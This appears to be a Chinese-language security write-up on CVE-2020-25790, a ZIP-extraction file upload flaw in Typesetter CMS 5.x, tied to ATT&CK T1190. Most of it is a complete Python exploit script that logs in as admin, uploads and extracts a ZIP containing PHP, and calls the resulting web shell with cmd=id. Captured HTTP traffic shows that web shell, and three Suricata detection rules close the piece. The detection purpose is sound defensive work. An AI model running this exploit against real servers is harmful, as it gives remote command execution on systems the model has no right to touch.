T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞
来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。
影响范围:Typesetter CMS 5.x全版本
检测日志
HTTP
测试复现
虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。
Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下:
import argparse
from bs4 import BeautifulSoup
import requests
import sys
import re
import urllib3
from urllib3.exceptions import InsecureRequestWarning
banner = """
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
-h, --help show this help message and exit
-p PASSWORD, --password PASSWORD
==> admin password
-l LOGIN, --login LOGIN
==> admin login
-u URL, --url URL ==> main URL
"""
print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()
login = args.login
password = args.password
url = args.url
file = args.file
PROXIES = proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080",
}
class Exploit:
def __init__(self, login, password, url, file):
self.login = login
self.password = password
self.url = url
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
self.file = open(file, 'rb')
def get_nounce(self):
try:
url = self.url + "/Admin"
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
data = r.text
soap_obj = BeautifulSoup(data, 'html.parser')
for inp in soap_obj.find_all("input"):
for v in inp:
nounce = v['value']
if nounce != None or nounce != "":
return nounce
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_hash_folders(self):
cookie_auth = self.get_cookies()
hash_verified = self.get_verified()
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
json_data = r.json()
hash_dir = json_data['files'][2]['hash']
return hash_dir
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_cookies(self):
nounce = self.get_nounce()
if nounce:
try:
url = self.url + "/Admin"
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
'remember': 'on', 'verified': ''}
r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
cookie_admin = r.headers['Set-Cookie']
cookie_name = cookie_admin.split(':')[0].split('=')[0]
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]
if cookie_name == None or cookie_name == "":
if cookie_value == None or cookie_value == "":
print("==> Something went wrong while login")
else:
data = f"{cookie_name}={cookie_value};"
return data
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
print(f'==> Error while login {e}')
def upload_zip(self):
url = self.url + '/Admin_Finder'
hash_verified = self.get_verified()
hash_dir = self.get_hash_folders()
auth_cookie = self.get_cookies()
try:
print(f"==> Uploading file: {self.file}")
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
r = requests.post(url=url, verify=False, timeout=10,
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
hash_file = r.json()['added'][0]['hash']
self.extract_file(auth_cookie, hash_file, hash_verified)
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
print(f"==> Error while uploading {e}")
def extract_file(self, auth_cookie, hash_file, hash_verified):
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
name_file = r.json()['added'][0]['name']
print(f"==> All Hashes are collected from: {name_file}")
self.xpl(auth_cookie,name_file)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def xpl(self, auth_cookie, name_file):
try:
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
new_url = url.replace("index.php", "")
print(f"==> Try to exploit: {new_url}")
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
pattern = r'<pre>(.*?)</pre>'
m = re.search(pattern, r.text.replace("\n", ""))
if m is not None and m != "":
print(f"==> Vulnerable: {m.group(1)}")
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_verified(self):
try:
url = self.url + "/Admin/Uploaded"
auth_cookie = self.get_cookies()
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
data = r.text
pattern_regex = r'"verified":"(.*)"}'
m = re.search(pattern_regex, data)
if m is not None or m != "":
return m.group(1)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
if __name__ == "__main__":
obj = Exploit(login, password, url, file)
obj.upload_zip()
测试留痕
POST /index.php/Admin_Finder HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 186
Origin: http://172.17.41.106
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:42:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT
Expires: Fri, 9 Oct 2020 07:42:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:43:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 181
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html>
<body>
<form method="GET" name="simple.php">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
检测规则/思路
Suricata规则
alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)
建议
流量+安全设备比较容易检测到此攻击行为。
参考推荐
MITRE-ATT&CK-T1190
https://attack.mitre.org/techniques/T1190/
Typesetter CMS文件上传漏洞复现(CVE-2020-25790)
https://blog.csdn.net/xuandao_ahfengren/article/details/111402910